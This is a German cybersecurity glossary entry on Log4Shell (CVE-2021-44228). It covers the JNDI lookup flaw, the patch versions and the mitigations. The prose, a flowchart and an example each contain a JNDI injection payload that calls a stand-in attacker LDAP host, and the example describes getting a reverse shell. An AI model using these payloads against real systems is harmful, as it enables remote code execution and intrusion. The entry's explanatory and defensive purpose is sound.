Skip to content
Vol. 1 · Ed. 2026
CyberGlossary
Entry № 704

Log4Shell (CVE-2021-44228)

Geprüft vonCybersecurity entrepreneur & security researcher

Was ist Log4Shell (CVE-2021-44228)?

Log4Shell (CVE-2021-44228)Eine kritische Remote-Code-Execution-Schwachstelle in Apache Log4j 2 vom Dezember 2021, die es Angreifern erlaubte, durch das Loggen einer einzigen JNDI-Lookup-Zeichenfolge beliebigen Code auszuführen.


Log4Shell ist eine CVSS-10.0-Schwachstelle in Apache Log4j 2 (Versionen 2.0-beta9 bis 2.14.1), die von Chen Zhaojun von Alibaba Cloud an Apache gemeldet und am 9. Dezember 2021 öffentlich bekannt gegeben wurde. Die Message-Lookup-Funktion von Log4j wertete ${...}-Ausdrücke innerhalb von Log-Strings aus; ein Wert wie ${jndi:ldap://attacker/x} brachte die JVM dazu, einen JNDI-Lookup durchzuführen, eine entfernte Java-Klasse zu laden und zu deserialisieren — was Remote Code Execution zur Folge hatte. Da Log4j in unzähligen Java-Anwendungen und Appliances mitgeliefert wird, wurde jeder vom Angreifer kontrollierte Wert, der in ein Log gelangte (User-Agent, Suchfeld, Dateiname, sogar ein iPhone-Gerätename), zum Auslöser.

Das Patchen war ein mehrstufiges Wettrennen: 2.15.0 deaktivierte Lookups, war aber unvollständig (CVE-2021-45046), 2.16.0 entfernte Message-Lookups, 2.17.0 behob ein DoS-Problem (CVE-2021-45105), und 2.17.1 adressierte CVE-2021-44832 — die empfohlene fehlerbereinigte Version für Java 8. Die Massenausnutzung begann innerhalb von Stunden; CISA nahm die Schwachstelle in den KEV-Katalog auf, und sie wurde von Ransomware-Banden sowie vom iranischen Staatsakteur hinter Eindringversuchen in US-Netze missbraucht. Schutzmaßnahmen: Upgrade auf 2.17.1+ (oder 2.12.4 / 2.3.2 für ältere Java-Versionen), log4j2.formatMsgNoLookups=true setzen, die JndiLookup-Klasse entfernen, ausgehenden LDAP/RMI-Egress blockieren und eine SBOM nutzen, um jede eingebettete Kopie zu finden.

flowchart TD
  A[Angreifer] -->|"Eingabe: ${jndi:ldap://evil/x}"| B[Java-App loggt den String]
  B --> C[Log4j wertet Lookup aus]
  C --> D[JNDI-Abfrage an LDAP-Server des Angreifers]
  D --> E[Server liefert URL zu bösartiger Java-Klasse]
  E --> F[JVM lädt & deserialisiert Klasse]
  F --> G[Remote Code Execution]

Beispiele

  1. 01

    Versand von User-Agent: ${jndi:ldap://attacker.com/x} an eine Java-Webanwendung und Erlangen einer Reverse Shell.

  2. 02

    Ausnutzen eines internen Java-Dienstes durch das Loggen eines bösartigen Werts, der in ein Username-Feld eingegeben wurde.

Häufige Fragen

Was ist Log4Shell (CVE-2021-44228)?

Eine kritische Remote-Code-Execution-Schwachstelle in Apache Log4j 2 vom Dezember 2021, die es Angreifern erlaubte, durch das Loggen einer einzigen JNDI-Lookup-Zeichenfolge beliebigen Code auszuführen. Es gehört zur Kategorie Schwachstellen der Cybersicherheit.

Was bedeutet Log4Shell (CVE-2021-44228)?

Eine kritische Remote-Code-Execution-Schwachstelle in Apache Log4j 2 vom Dezember 2021, die es Angreifern erlaubte, durch das Loggen einer einzigen JNDI-Lookup-Zeichenfolge beliebigen Code auszuführen.

Wie schützt man sich gegen Log4Shell (CVE-2021-44228)?

Schutzmaßnahmen gegen Log4Shell (CVE-2021-44228) kombinieren typischerweise technische Kontrollen und operative Praktiken, wie in der Definition oben beschrieben.

Welche anderen Bezeichnungen gibt es für Log4Shell (CVE-2021-44228)?

Übliche alternative Bezeichnungen: CVE-2021-44228, Log4j-Schwachstelle.

Verwandte Begriffe

Siehe auch